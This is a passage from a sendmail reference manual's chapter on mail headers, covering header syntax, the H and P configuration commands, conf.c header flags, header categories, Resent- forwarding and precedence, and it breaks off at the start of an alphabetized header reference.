HX-Beware: This message used an experimental version of sendmail

The name part of header definitions is case-insensitive. That is, X-Beware, x-beware, and X-BEWARE are all the same. For example, when sendmail checks for the To: header internally, it will recognize it no matter how it is capitalized.

Beginning with V8 sendmail, header names are left alone. They are passed through without case conversion of any kind. Previous assumptions [1] about capitalization are no longer valid in light of new headers generated and expected by programs.

[1] Prior to V8 sendmail, all headers were converted to lowercase and stored. Later, when mail was sent, they were then capitalized in a way similar to that of proper names, in which the first letter of each word was capitalized.

Header names may contain only printable characters. Names may not contain control characters, space characters (such as space and tab), or the colon character. An illegal character will result in this error message:

header syntax error, line "HFull Name: $x"

Here, the error is a space in the name portion of the header declaration.

Previous: 35.1 The H Configuration Command | sendmail | Next: 35.3 Header Field Contents
35.1 The H Configuration Command | Book Index | 35.3 Header Field Contents


[Chapter 35] 35.3 Header Field Contents

sendmailSearch this book
Previous: 35.2 Header Names Chapter 35
Headers 		Next: 35.4 ?flags? in Header Definitions

35.3 Header Field Contents

The field of the H configuration command may contain any ASCII characters, including whitespace and newlines that result from joining. For most headers, however, those characters must obey the following rules for grouping: [2]

[2] This discussion is adapted from RFC822.

Atom

In the header field, space characters separate one item from another. Each space-delimited item is further subdivided by specials (see below), into atoms.

smtp            <-  an atom
foo@host        <-  atom special atom
Babe Ruth       <-  atom atom

An atom is the smallest unit in a header and may not contain any control characters. When the field is an address, an atom is the same thing as a token (see Chapter 28, Rules).

Specials

The special characters are those used to separate one component of an address from another. They are internally defined as:

( ) < > @ , ; : \ " . [ ]

A special character can be made nonspecial by preceding it with a backslash character, for example,

foo;fum         <-  atom special atom
foo\;fum        <-  one atom

The space and tab characters are also used to separate atoms and can be thought of as specials.

Quoted text

Quotation marks can be used to force multiple items to be treated as a single atom. For example,

Babe Ruth         <-  atom atom
"Babe Ruth"       <-  a single atom

Quoted text may contain any characters except the quotation mark (") and the backslash character (\).

Any text

Some headers, such as Subject: (see Section 35.10.31, Subject:), impose no rules on the text in the header field. For such headers, atoms, specials, and quotes have no significance, and the entire field is taken as arbitrary text.

The detailed requirements of each header name are covered at the end of this chapter.

35.3.1 Macros in the Header Field

Macros may appear in any position in the field of a header definition line. Such macros are not expanded (their values tested or used) until mail is queued or delivered. For the meaning of each macro name and a description of when each is given a value, see Chapter 31, Defined Macros.

Only two macro prefixes may be used in the field of header definitions: $ The $ prefix tells sendmail to replace the macro's name with its value at that place in the field definition. $? The $? prefix tells sendmail to perform conditional replacement of a macro's value.

For example, the following header definition uses the $ prefix to insert the value of the macro x into the header field:

HFull-Name: $x

The macro $x (see Section 31.10.42, $x) contains as its value the full name of the sender.

When the possibility exists that a macro will not have a value at the time the header line is processed, the $? conditional prefix (see Section 31.6, "Macro Conditionals: $?, $|, and $.") may be used:

HReceived: $?sfrom $s $.by $j ($v/$V)

Here, the $? prefix and $. operator cause the text

from $s

to be inserted into the header field only if the macro s has a value. $s may contain as its value the name of the sending site.

35.3.2 Escape Character in the Header Field

Recall that the backslash escape character (\) is used to deprive the special characters of their special meaning. In the field of header definitions the escape character may be used only inside quoted strings (see next item), in domain literals (addresses enclosed in square bracket pairs), or in comments (see below). Specifically, this means that the escape character may not be used within atoms. Therefore the following is not legal:

Full\ Name@domain          <-  not legal

Instead, the atom to the left of the @ must be isolated with quotation marks:

"Full Name"@domain          <-  legal

35.3.3 Quoted Strings in the Header Field

Recall that quotation marks (") force arbitrary text to be viewed as a single atom. Arbitrary text is everything (including joined lines) that begins with the first quotation mark and ends with the final quotation mark. The following example illustrates two quoted strings:

"Full Name"
"One long string carried over
        two lines by indenting the second"

   whitespace

The quotation mark character may appear inside a quoted string only if it is escaped by using a backslash. [3]

[3] Note that the backslash itself may not appear within full quotation marks.

"George Herman \"Babe\" Ruth"

Internally, sendmail does not check for balanced quotation marks. If it finds the first but not the second, it takes everything up to the end of the line as the quoted string.

When quotation marks are used in an H configuration command, they must be balanced. Although sendmail remains silent, unbalanced quotation marks can cause serious problems when they are propagated to other programs.

35.3.4 Comments in the Header Field

Comments consist of text inside a header field that is intended to give humans additional information. Comments are saved internally by sendmail when processing headers, then are restored, but otherwise are not used. Beginning with V8.7 sendmail, the F=c delivery agent flag (see Section 30.8.14, F=c) can be used to prevent restoration of the saved comments.

A comment begins with a left parenthesis and ends with a right parenthesis. Comments may nest. The following lines illustrate a non-nested comment and a comment nested inside another:

(this is a comment)
(text(this is a comment nested inside another)text)

Comments may be split over multiple lines by indenting:

(this is a comment
       split into two lines)

   whitespace

A comment (even if nested) separates one atom from another just like a space or a tab does. Therefore the following produces two atoms rather than one:

Bill(postmaster)Johnson

However, comments inside quoted strings are not special, so the following produces a single atom:

"Bill(postmaster)Johnson"

Parentheses may exist inside of comments only if they are escaped with a backslash:

<root@host.domain> (The happy administrator ;-\))

                                              note

35.3.4.1 Balancing special characters

Many of the special characters that are used in the header field and in addresses need to appear in balanced pairs. Table 35.1 shows these characters and the characters needed to balance them. Failure to maintain balance can lead to failed mail. Note that only parentheses may be nested. None of the other balanced pairs may nest.

Table 35.1: Balancing Characters
Begin | End
" | "
( | )
[ | ]
< | >

You have already seen the quoted string and comments. The angle brackets (< and >) are used to specify a machine-readable address, such as <gw@wash.dc.gov>. The square brackets ([ and ]) are used to specify a direct Internet address (one that bypasses normal DNS name lookups) such as [123.45.67.89].

The sendmail program gives warnings about unbalanced characters only when it is attempting to extract an address from a header definition, from the header line of a mail message, or from the envelope. Beginning with V8.6, when sendmail finds an unbalanced condition, it tries to balance the offending characters as rationally as possible. Whether or not it can balance them, it prints one of the following warning messages:

Unbalanced ')'
Unbalanced '>'
Unbalanced '('
Unbalanced '<'
Unbalanced '"'

If it did not succeed in balancing them, the mail will probably bounce.

Previous: 35.2 Header Names | sendmail | Next: 35.4 ?flags? in Header Definitions
35.2 Header Names | Book Index | 35.4 ?flags? in Header Definitions


[Chapter 35] 35.4 ?flags? in Header Definitions

sendmailSearch this book
Previous: 35.3 Header Field Contents Chapter 35
Headers 		Next: 35.5 Header Behavior in conf.c

35.4 ?flags? in Header Definitions

The name part of the H configuration command can be prefixed with a list of flags. This list, if present, must be surrounded by ? characters:

H?flags?name:field

The ? characters must immediately follow the H and immediately precede the name with no intervening spaces. If a space precedes the first ?, that ? is misinterpreted as part of the header name, rather than as the start of a list of flags, and this error message is printed:

header syntax error, line " ?flags?name: field"

                           note leading space

If the first ? is present but the second is absent, sendmail prints the same error message and skips that H configuration command. The flags that are listed between the ? characters correspond to flags that are listed with delivery agent F= equates. When processing a mail message for forwarding or delivery, sendmail adds a header line if a flag is common to both the H definition list of flags and the delivery agent's list of flags. For example,

H?P?Return-Path: <$g>

The above H definition begins with a P flag. This tells sendmail to add this header line to the mail message only if a selected delivery agent also contains that flag. Since the Return-Path: header (see Section 35.10.28, Return-Path:) should be added only during final delivery, the P flag appears only in the prog and local delivery agent definitions:

Mprog,  P=/bin/sh,   F=lsDFMeuP,  S=10, R=20, A=sh -c $u
Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

                               note

No check is made to ensure that the H flags correspond to existing delivery agent flags. Beware that if a corresponding F= flag does not exist in some delivery agent definition, that header may never be added to any mail message.

Care should be used to avoid selecting flags that have other meanings for delivery agents. Table 30.8 in Section 30.8, "Alphabetized F= Flags" lists all the delivery agent flags that have predefined meanings, including those traditionally used with header definitions.

Previous: 35.3 Header Field Contents | sendmail | Next: 35.5 Header Behavior in conf.c
35.3 Header Field Contents | Book Index | 35.5 Header Behavior in conf.c


[Chapter 35] 35.5 Header Behavior in conf.c

sendmailSearch this book
Previous: 35.4 ?flags? in Header Definitions Chapter 35
Headers 		Next: 35.6 Headers by Category

35.5 Header Behavior in conf.c

The sendmail program has a built-in understanding of many header names. How those names are used is determined by a set of flags in the source file conf.c supplied with the source distribution. Site policy determines which flags are applied to which headers, but, in general, conf.c applies them in the way that is best suited for almost all Internet sites. If you desire to redefine the flags for a particular header name, look for the name's declaration in the C language structure definition HdrInfo in conf.c. Be sure to read the comments in that file. Changes to header flags represent a permanent site policy change and should not be undertaken lightly. (We illustrate this process after explaining the flags.)

The flags that determine header use are listed in Table 35.2. Note that each flag name is prefixed with an H_. Also note that the hexadecimal values are displayed by the -d31.6 debugging switch (see Section 37.5.114, -d31.6).

Table 35.2: Header Flags in conf.c
Flag | Hex |  | Version | Description
H_EOH | 0x0001 | Section 35.5.1, "H_EOH" | V5 and up | Terminates all headers
H_RCPT | 0x0002 | Section 35.5.2, "H_RCPT" | V5 and up | Contains a recipient address
H_DEFAULT | 0x0004 | Section 35.5.3, "H_DEFAULT" | V5 and up | If already in headers, don't insert
H_RESENT | 0x0008 | Section 35.5.4, "H_RESENT" | V5 and up | Is a Resent- header
H_CHECK | 0x0010 | Section 35.5.5, "H_CHECK" | V5 and up | Process ?flags?
H_ACHECK | 0x0020 | Section 35.5.6, "H_ACHECK" | V5 and up | Ditto, but always, not just default
H_FORCE | 0x0040 | Section 35.5.7, "H_FORCE" | V5 and up | Insert header (allows duplicates)
H_TRACE | 0x0080 | Section 35.5.8, "H_TRACE" | V5 and up | Count these to get the hop count
H_FROM | 0x0100 | Section 35.5.9, "H_FROM" | V5 and up | Contains a sender address
H_VALID | 0x0200 | Section 35.5.10, "H_VALID" | V5 and up | Has a validated field value
H_ERRSTO | 0x0800 | Section 35.5.11, "H_ERRSTO" | V8.6 and up | An errors-to: header
H_CTE | 0x1000 | Section 35.5.12, "H_CTE" | V8.7 and up | Is "constant transfer encoding"
H_CTYPE | 0x2000 | Section 35.5.13, "H_CTYPE" | V8.7 and up | Is "content type"
H_BCC | 0x4000 | Section 35.5.14, "H_BCC" | V8.7 and up | Strip value from header
H_ENCODABLE | 0x8000 | Section 35.5.15, "H_ENCODABLE" | V8.8 and up | Field can be RFC1522 encoded

Note that there is no flag that always causes a particular header to be removed, nor is there a flag that always causes a particular header to be replaced (although you can trick sendmail with H_ACHECK see Section 35.5.16, "Replacing Headers with H_ACHECK").

35.5.1 H_EOH

Headers that are marked with the H_EOH flag cause sendmail to immediately stop all header processing and treat the rest of the header lines as message body. This is useful for separating RFC822-compliant header lines from headers created by a noncompliant network.

35.5.2 H_RCPT

Headers that are marked with the H_RCPT flag are assumed to contain valid recipient addresses in their fields. Only headers with this flag can lead to message delivery. These addresses will be rewritten. These headers are used to determine the recipient address only if the -t command-line switch (see Section 36.7.38, -t) is used.

35.5.3 H_DEFAULT

The sendmail program automatically sets the H_DEFAULT flag for all headers declared in the configuration file. This flag tells sendmail to macro expand the header just before it is used. Only one of each header that is marked with this flag is allowed to exist in the headers portion of a mail message. If such a header already exists, sendmail does not add another. The H_FORCE and H_TRACE flags override this flag in that regard. This flag must never be specified in conf.c - it is set automatically by H configuration command (see Section 35.1, "The H Configuration Command").

35.5.4 H_RESENT

The H_RESENT flag tells sendmail that the header line is prefixed with the resent- string. Only headers that are marked with this flag can tell sendmail that this is a "forwarded" message. If no "forwarded" headers are found, sendmail strips any bogus resent- header lines from the message's header.

35.5.5 H_CHECK

If a header definition in the configuration file begins with a ?flags? conditional, this flag is set for that header. It tells sendmail to insert this header only if one of its ?flags? corresponds to one of the delivery agent's F= flags (see Section 35.4, "?flags? in Header Definitions"). This flag must never be specified in conf.c - it is set automatically when sendmail reads H lines with ?flags? header flags.

35.5.6 H_ACHECK

The H_ACHECK flag marks a header that should normally be discarded unless a delivery agent's F= flag calls for its inclusion. It is usually set for the Bcc: header, which is discarded for the privacy of a blind carbon copy list, and the Full-Name: header, which is intended as a way for a user to add a full name (see the $x macro, Section 31.10.42) when there is no full name defined in the passwd(5) file. Note that H_ACHECK, when combined with bogus ?flags? of a header configuration file declaration can cause appropriate headers to always be deleted or replaced (see Section 35.5.16). Also note that under V8 sendmail the H_ACHECK flag alone always causes a header to be replaced.

35.5.7 H_FORCE

The H_FORCE flag causes sendmail to always insert a header. It is used in the conf.c file with selected trace headers. It can be thought of as allowing duplicates. That is, the header will be inserted even if one like it is already present.

35.5.8 H_TRACE

Headers that are marked with the H_TRACE flag are counted in determining a mail message's "hop" count. This flag is intended for use in the conf.c file.

35.5.9 H_FROM

Headers that are marked with the H_FROM flag are assumed to contain a valid sender address. This flag is intended for use in the conf.c file.

35.5.10 H_VALID

The H_VALID flag is set and cleared internally by sendmail to indicate to itself that a particular header line has been correctly processed and can now be used as is. This flag should never be used in the conf.c file.

35.5.11 H_ERRSTO

The H_ERRSTO flag specifies which headers can be used for returning error notification mail. Those headers take priority over all others for that notification if the UseErrorsTo (l) option is true (see Section 34.8.74, UseErrorsTo (l)).

35.5.12 H_CTE

The H_CTE flag specifies that a header is the MIME RFC1521 content transfer encoding header (see Section 35.10.8, Content-Transfer-Encoding:).

35.5.13 H_CTYPE

The H_CTYPE flag specifies that a header is a MIME RFC1521 content-type header (see Section 35.10.9, Content-Type:).

35.5.14 H_BCC

The H_BCC flag indicates that a header is either a Bcc: (see Section 35.10.4, Bcc:) or a Resent-Bcc: header. The disposition of those headers is covered under the NoRecipient-Action option (see Section 34.8.43, NoRecipientAction).

35.5.15 H_ENCODABLE

The H_ENCODABLE flag tells sendmail that the field part may be encoded in the way described in RFC1522. As of V8.8, this flag is unsupported in code.

35.5.16 Replacing Headers with H_ACHECK

Some MUAs tend to insert their own Message-ID: header (see Section 35.10.19, Message-ID:). This can cause difficulty tracing email problems, because those MUA headers lack the sendmail queue identifier. One solution is possible at sites that have a central mail hub machine. At such a site, all the client machines use a simple configuration file that forwards all mail to the hub for processing.

To delete the bogus Message-ID:, so that a good one will be generated on the hub, you can redefine Message-ID: in conf.c:

"message-id",           0,
"message-id",           H_ACHECK,         <-  change to this

Here, we changed the 0 flag for the Message-ID: header into a H_ACHECK flag. We do this only on the client machine versions of sendmail but not on the hub. The Message-ID: header will then be stripped from every outgoing message on every client machine and created (if missing) on the hub.

Previous: 35.4 ?flags? in Header Definitions | sendmail | Next: 35.6 Headers by Category
35.4 ?flags? in Header Definitions | Book Index | 35.6 Headers by Category


[Chapter 35] 35.6 Headers by Category

sendmailSearch this book
Previous: 35.5 Header Behavior in conf.c Chapter 35
Headers 		Next: 35.7 Forwarding with Resent-Headers

35.6 Headers by Category

The sendmail program contains an internal list of header names that are organized conceptually into categories. The names and categories are defined in conf.c (see Section 35.5, "Header Behavior in conf.c"). Each category is defined by one or more H_ flags in that file, the names of which are listed under the Flags column of all the tables that follow.

35.6.1 Recommended Headers

Every sendmail.cf file should have a minimal complement of header definitions. Below we present a recommendation. Don't use this as is. The details are not generic to all versions of sendmail, nor are they appropriate for all sites.

H?P?Return-Path: $g
HReceived: $?sfrom $s $.by $j ($v/$V) id $i; $b  <-  mandatory
H?D?Date: $a  <-  mandatory
H?F?From: $q  <-  mandatory
H?x?Full-Name: $x
H?M?Message-Id: <$t.$i@$j>  <-  mandatory
H?D?Resent-Date: $a  <-  mandatory
H?F?Resent-From: $q  <-  mandatory
H?M?Resent-Message-Id: <$t.$i@$j>  <-  mandatory

Each of these is described individually at the end of this chapter. Except for Received: (see Section 35.10.25), none is added to any mail message that already has that particular header present.

The Return-Path: header (see Section 35.10.28) is added only if it is not already present and if the delivery agent for the recipient has the F=P flag present. Similarly, the Date: relies on F=D, the From: relies on F=F, the Full-Name: relies on F=x, and the Message=Id: relies on F=M.

Of those shown, only the seven indicated are truly mandatory and must be declared in every configuration file. The others are highly recommended.

35.6.2 Sender Headers

Certain header names are assumed by sendmail to contain information about the various possible senders of a mail message. They are listed in Table 35.3 in descending order of significance. Addresses with the H_FROM flag (see Section 35.5.9) are rewritten as sender addresses.

Table 35.3: Sender Headers (Most to Least Significant)
Header |  | Flags | Defined by
Resent-Sender: | Section 35.7, "Forwarding with Resent-Headers" | H_FROM, H_RESENT | RFC822
Resent-From: | Section 35.10.14, From: | H_FROM, H_RESENT | RFC822
Resent-Reply-To: | Section 35.7 | H_FROM, H_RESENT | RFC822
Sender: | Section 35.10.30, Sender: | H_FROM | RFC822
From: | Section 35.10.14 | H_FROM | RFC822
Apparently-From: | Section 35.10.1, Apparently-From: | n/a | Smail 3.0
Reply-To: | Section 35.10.27, Reply-To: | H_FROM | RFC822
Full-Name: | Section 35.10.15, Full-Name: | H_ACHECK | obsolete
Return-Receipt-To: | Section 35.10.29, Return-Receipt-To: | H_FROM | obsolete
Errors-To: | Section 35.10.13, Errors-To: | H_FROM, H_ERRSTO | sendmail

When returning bounced mail, sendmail always uses the envelope sender's address. If the special header Errors-To: appears in the message, a copy of the bounced mail is also sent to the address in that header. This is hard-coded into all but SunOS and V8 sendmail, which use the H_ERRSTO header flag (see Section 35.5.11) instead. V8 also requires that the UseErrorsTo (l) option (see Section 34.8.74) be set to true for the Errors-To: header to be honored.

35.6.3 Recipient Headers

Recipient headers are those from which one or more recipients can be parsed. Addresses in headers with the H_RCPT flag (see Section 35.5.2) are rewritten as recipient addresses. When they are invoked with the -t command-line switch, sendmail gathers a list of recipients from all the headers marked with an H_RCPT flag and delivers a copy of the message to each.

The list of recipient headers used by sendmail is shown in Table 35.4.

Table 35.4: Recipient Headers
Header |  | Flags | Defined by
To: | Section 35.10.33, To: | H_RCPT | RFC822
Resent-To: | Section 35.7 | H_RCPT, H_RESENT | RFC822
Cc: | Section 35.10.5, Cc: | H_RCPT | RFC822
Resent-Cc: | Section 35.7 | H_RCPT, H_RESENT | RFC822
Bcc: | Section 35.10.4 | H_RCPT, H_ACHECK | RFC822
Resent-Bcc: | Section 35.7 | H_RCPT, H_ACHECK, H_RESENT | RFC822
Apparently-To: | Section 35.10.2, Apparently-To: | H_RCPT | Obsolete

35.6.4 Identification and Control Headers

Some headers serve to uniquely identify a mail message. Others affect the way sendmail processes a mail message. The complete list of all such identification and control headers is shown in Table 35.5.

Table 35.5: Identification and Control Headers
Header |  | Flags | Defined by
Message-ID: | Section 35.10.19 | n/a | RFC822
Resent-message-Id: | Section 35.7 | H_RESENT | RFC822
Message: | Section 35.10.20, Message: | H_EOH | Obsolete
Text: | Section 35.10.32, Text: | H_EOH | Obsolete
Precedence: | Section 35.8, "Precedence" | n/a | All sendmails
Priority: | Section 35.10.24, Priority: | n/a | V8.7 and above

Note that the Precedence: and Posted-Date: (below) headers are hard-coded into sendmail rather than being declared in conf.c.

35.6.5 Date and Trace Headers

Date headers are used to document the date and time that the mail message was sent or forwarded. Trace headers (those with an H_TRACE header flag; see Section 35.5.8) are used to determine the hop count of a mail message and to document the message's travel from machine to machine. The list date and trace headers is shown in Table 35.6.

Table 35.6: Date and Trace Headers
Header |  | Flags | Defined by
Date: | Section 35.10.10, Date: | n/a | RFC822
Posted-Date: | Section 35.10.22, Posted-Date: | n/a | Obsolete
Resent-Date: | Section 35.7 | H_RESENT | RFC822
Received: | Section 35.10.25 | H_TRACE, H_FORCE | RFC822
Via: | Section 35.10.34, Via: | H_TRACE, H_FORCE | Obsolete
Mail-From: | Section 35.10.18, Mail-From: | H_TRACE, H_FORCE | Obsolete
X-Authentication-Warning: | Section 35.10.35, X-Authentication-Warning: | n/a | V8 sendmail
X400-Received: | Section 35.10.36, X400-Received: | H_TRACE | IDA and V8 only

35.6.6 Other RFC822 Headers

Other headers that you will see in mail messages are defined by the RFC822 standard but are not otherwise internally defined by sendmail. A few of them, such as Return-Path:, should be declared in the configuration file. The others are usually inserted by MUAs. Table 35.7 lists these other RFC822 headers.

Table 35.7: Other RFC822 Headers
Header |  | Flags | Defined by
Return-Path: | Section 35.10.28 | n/a | RFC822
In-Reply-To: | Section 35.10.16, In-Reply-To: | n/a | RFC822
References: | Section 35.10.26, References: | n/a | RFC822
Keywords: | Section 35.10.17, Keywords: | n/a | RFC822
Subject: | Section 35.10.31 | n/a | RFC822
Comments: | Section 35.10.6, Comments: | H_FORCE | RFC822
Encrypted: | Section 35.10.12, Encrypted: | n/a | RFC822

35.6.7 MIME Headers

MIME (Multipurpose Internet Mail Extensions) is documented in RFC1521, with additional details in RFC1344, RFC1426, RFC1428, and RFC1437. The sendmail program cares about MIME only when bouncing messages and when determining how to convert the message body between 8 and 7 bits. Those MIME headers for which sendmail contains special knowledge are shown in Table 35.8.

Table 35.8: MIME Headers
Header |  | Flags | Defined By
MIME-Version: | Section 35.10.21, MIME-Version: | n/a | RFC1521
Content-Type: | Section 35.10.9 | H_CTYPE | RFC1521
Content-Transfer-Encoding: | Section 35.10.8 | H_CTE | RFC1521

Previous: 35.5 Header Behavior in conf.c | sendmail | Next: 35.7 Forwarding with Resent-Headers
35.5 Header Behavior in conf.c | Book Index | 35.7 Forwarding with Resent-Headers


[Chapter 35] 35.7 Forwarding with Resent-Headers

sendmailSearch this book
Previous: 35.6 Headers by Category Chapter 35
Headers 		Next: 35.8 Precedence

35.7 Forwarding with Resent-Headers

Some mail-reading programs (MUAs) allow users to forward messages to other users. For example, the mush(1) MUA forwards the current message to the user named fred with the following command:

message 1 of 3> m -f fred

Messages can also be forwarded with dist(1) from mh(1) and from within other MUAs.

When messages are forwarded, header lines that describe the forwarding user must begin with the Resent- prefix. When fred receives this message, he sees two similar header lines:

From: original-sender
Resent-From: forwarding-sender

When both the original From: and the forwarded Resent-From: appear in the same header, the Resent- form is always considered the most recent.

The sendmail program examines only a few header names to see whether a mail message has been forwarded. Those that it knows are listed in Table 35.9.

Table 35.9: Known Resent-Headers
Resent- form of | Header
Resent-Bcc: | Bcc:
Resent-Cc: | Cc:
Resent-Date: | Date:
Resent-From: | From:
Resent-Message-ID: | Message-ID:
Resent-To: | To:

If sendmail finds any header with a name beginning with Resent-, it marks that message as one that is being forwarded, preserves all Resent- headers, and creates any needed ones.

35.7.1 Remove and Recreate the From: Header

Whether the message is forwarded or not, sendmail compares the sender envelope address to the address in the From: header (or Resent-From: if present). If they are the same, sendmail deletes the From: (or Resent-From:). The purpose of this deletion is to add the sender's full name (the $x macro; see Section 31.10.42) to the address. If the envelope and sender addresses are the same, it is safe to delete and regenerate those header lines. If the message is being forwarded, sendmail recreates the Resent-From: header; otherwise, it recreates the From: header (see Section 37.5.113, -d31.2).

This recreation is useful because some old versions of mh(1) added a From: header without the full name ($x). It is also useful in mail client/server arrangements in which all mail is sent to the server. Because that mail is sent with the TCP delivery agent, no $x full name is added. On the server the From: is discarded, and there is a second chance to add the $x. However, this can happen only if the address in the envelope and the address in the From: are identical. Since the address in the envelope is surrounded with angle brackets, so must be the address in the From: header. One way to ensure that they are the same is by defining the From: header with $g in angle brackets, as <$g> in the client's configuration file.

Previous: 35.6 Headers by Category | sendmail | Next: 35.8 Precedence
35.6 Headers by Category | Book Index | 35.8 Precedence


[Chapter 35] 35.8 Precedence

sendmailSearch this book
Previous: 35.7 Forwarding with Resent-Headers Chapter 35
Headers 		Next: 35.9 Pitfalls

35.8 Precedence

The cost of a mail message determines its ability to be sent despite a high machine load and its position in the queue when the queue is processed. Each mail message has a priority and a cost. The initial priority (class) of a mail message is defined by the optional presence of a Precedence: header line inside the message with a symbol corresponding to a value defined by P configuration command. For example, if your sendmail.cf file contained this line:

Pspecial-delivery=100

and your mail message header contained this line:

Precedence: special-delivery

then your mail message would begin its life with a class of 100. We'll cover how this is done soon.

After the message's initial class value is set, that value is never changed. As soon as the class is determined, the initial cost is calculated. This cost is the value that is used to determine if a message will be sent despite a high machine load (defined by the RefuseLA (X) option, see Section 34.8.54, RefuseLA (X), and the QueueLA (x) option, see Section 34.8.50, QueueLA (x)) and to determine its order in queue processing. The formula for the initial calculation is the following:

cost = nbytes - (class * z) + (recipients * y)

Where nbytes is the total size in bytes of the message, recipients is either the number of recipients in the envelope or (with -t) the number of recipients specified in the To:, Cc:, and Bcc: header lines (after alias expansion), and z and y are the values of the ClassFactor (z) option (see Section 34.8.8, ClassFactor (z)) and the RecipientFactor (y) option (see Section 34.8.53, RecipientFactor (y)).

The Precedence: header should rarely be declared in the configuration file. Instead, it is added to messages by MUAs and by mailing-list software. If it is declared in the configuration file, it should be prefixed with an appropriate ?flag? (see Section 35.4) so that it is inserted only for an appropriate delivery agent.

35.8.1 The P Configuration Command

The P configuration command must begin a line. This command is composed of four parts:

Pstring=value

The string is text, such as special-delivery. Everything between the P and the = (including any whitespace) is taken as is for string. The value is evaluated as a signed integer and may be decimal, octal (with a leading 0), or hexadecimal (with a leading 0x).

Although you may define any string you choose, only five have any universal meaning. Those five usually appear in sendmail.cf files like this:

Pspecial-delivery=100
Pfirst-class=0
Plist=-30
Pjunk=-60
Pbulk=-200

You may, of course, define your own precedence strings for internal mail, but they will be ignored (evaluate to 0) by all outside sendmail programs.

The classes junk and bulk are also recognized by many other programs. Newer versions of the vacation(1) program, for example, silently skip replying to messages that have a Precedence: header line of junk or bulk.

As a general rule, special-delivery is rarely used. Most mail has a class of first-class. Mailing lists should always have a class of list or bulk.

Because your local sendmail.cf file is where values are given to these class names, you are free to modify those values locally. The values affect only the delivery at your site.

Old versions of sendmail didn't return errors on messages with a negative precedence. V8 sendmail does but omits the message body.

Previous: 35.7 Forwarding with Resent-Headers | sendmail | Next: 35.9 Pitfalls
35.7 Forwarding with Resent-Headers | Book Index | 35.9 Pitfalls


[Chapter 35] 35.9 Pitfalls

sendmailSearch this book
Previous: 35.8 Precedence Chapter 35
Headers 		Next: 35.10 Alphabetized Reference

35.9 Pitfalls

  • Not all MTAs are as RFC822-compliant as sendmail. Occasionally, headers appear that were legal under the defunct RFC733. The In-Reply-To: header (see Section 35.10.16), for example, used to be a comma-separated list of addresses under RFC733 and may cause problems. Note also that RFC733 date and time syntax differs from that of RFC822 and RFC1123.

  • Prior to V8 sendmail, if the name part of a header definition was missing (the H was followed by a colon), a header whose name is the character value zero was silently accepted and wrongly propagated.

  • Prior to V8 sendmail, long header lines in messages (such as To: with many recipients listed) could cause the internal buffer used by sendmail to overflow. The size of that buffer was defined in conf.h as MAXLINE and was 1024 characters. The IDA version defined it as 2048 characters. V8 sendmail dynamically allocates memory and so can handle headers of any size.

  • When generating an Apparently-To: header, sendmail checks for the absence of only the To:, Cc:, Bcc:, and Apparently-To: headers. The H_RCPT flag (see Section 35.5.2) in conf.c is ignored. V8.7 sendmail will produce an Apparently-To: header only if the NoRecipientAction option is set to add-apparently-to.

  • Prior to V8.7 the sendmail program's handling of unbalanced special characters could lead to an explosion of error mail. Instead of simply bouncing the offending mail message, it both returned an error message and forwarded the message to the recipient. If the message was being exploded through a series of mailing lists, the error messages continued to increase, possibly drowning the original site with mail.

  • Precedence values are stored in integer variables, so care should be exercised on 2 byte integer machines to avoid having priorities wrap unexpectedly.

  • Macros are not expanded in the P command. That is, expressions such as $U do not have the desired effect. The literal text $U is wrongly listed as the name or the value.

Previous: 35.8 Precedence | sendmail | Next: 35.10 Alphabetized Reference
35.8 Precedence | Book Index | 35.10 Alphabetized Reference


[Chapter 35] 35.10 Alphabetized Reference

sendmailSearch this book
Previous: 35.9 Pitfalls Chapter 35
Headers 		Next: 36. The Command Line

35.10 Alphabetized Reference

Some header lines need to be declared in the configuration file by using the H command. Others are created internally by sendmail. Still others are created by mail MUAs. These differences are described individually with each header-line name. The following discussion of header names is in alphabetical order.

35.10.1 Apparently-From:

The unknown sender

(Smail)

The Smail 3.x program (a UUCP-oriented replacement for sendmail) produces an Apparently-From: header when it is unable to find any of the official sender headers in a mail message. The address that it provides to this nonstandard header is taken from the envelope of the message.

The sendmail program, on the other hand, places the envelope sender into a From: header in this situation. If there is no envelope sender and if the sender was not specified in the command line, sendmail sets the sender to be postmaster.

The Apparently-From: header is mentioned here only because it may appear in messages received at sites that run sendmail. It shouldn't cause problems, because a good sender address still appears in the SMTP envelope.

The Apparently-From: header should never be declared in the configuration file and should not be added to conf.c.

35.10.2 Apparently-To:

When the message lacks a recipient

(sendmail)

If the header of a mail message lacks recipient information (lacks all of the To:, Cc:, and Bcc: header lines), sendmail adds an Apparently-To: header line and puts the recipient's address from the envelope into the field of that line. This behavior is hard-coded into pre-8.7 sendmail, but beginning with version 8.7, it can be tuned with the NoRecipientAction option (see Section 34.8.43).

The Apparently-To: header name is not defined in RFC822. It is added by pre-8.7 sendmail because RFC822 requires at least one To: or Cc: header, and neither is present.

An Apparently-To: header should never be defined in the configuration file.

35.10.3 Auto-Submitted:

Why the bounce

(sendmail)

When a message is returned because of an error or because a "return receipt" was requested, V8 sendmail adds an Auto-Submitted: header. This header describes the reason for the return:

Auto-Submitted: auto-generated (reason)

The reason can be one of four things: It can be warning-timeout if the message has reached its Timeout.queuewarn option threshold (see Section 34.8.70, Timeout (r)). It can be postmaster-warning if the failure was delivered to the postmaster as a result of a problem that the postmaster should fix, such as an MX configuration error. It can be return-receipt if the message was returned because of a Return-Receipt-To: header (see Section 35.10.29) or a DSN NOTIFY=SUCCESS request (see RFC1891). Finally, it can be failure for any other reason.

In all instances, sendmail also adds a Subject: header that contains the actual text that led to the bounce or return. This text is identical to that saved in the qf file's M line (see Section 23.9.9, M line).

The Auto-Submitted: header should never be defined in the configuration file.

35.10.4 Bcc:

Blind carbon copy

(RFC822)

A blind carbon copy is a copy of the mail message that is sent to one or more recipients without the knowledge of the primary recipients. Primary recipients are listed in the To: and Cc: lines. When there are multiple blind carbon copy recipients, knowledge of each other is also hidden.

When run with a -t command-line switch (to gather recipients from the headers), the sendmail program achieves this end by saving a list of all the blind carbon copy recipients, deleting the Bcc: header line, and then delivering to each blind carbon copy recipient. (See the Apparently-To: header.)

The Bcc: header should never be declared in the configuration file.

The field for the Bcc: header must contain one or more properly formed addresses. Where there is more than one, each should be separated from the others by commas.

35.10.5 Cc:

Carbon copy

(RFC822)

The Cc: header is one of a few that specify the list of primary recipients. The sendmail program treats the Cc: header no differently from the way it treats the To: header. From the user's point of view, the Cc: header implies that there are recipients to whom an informational copy of the message was supplied.

The Cc: header should never be declared in the configuration file.

The field for the Cc: header must contain one or more properly formed addresses.

35.10.6 Comments:

Header commentary

(RFC822)

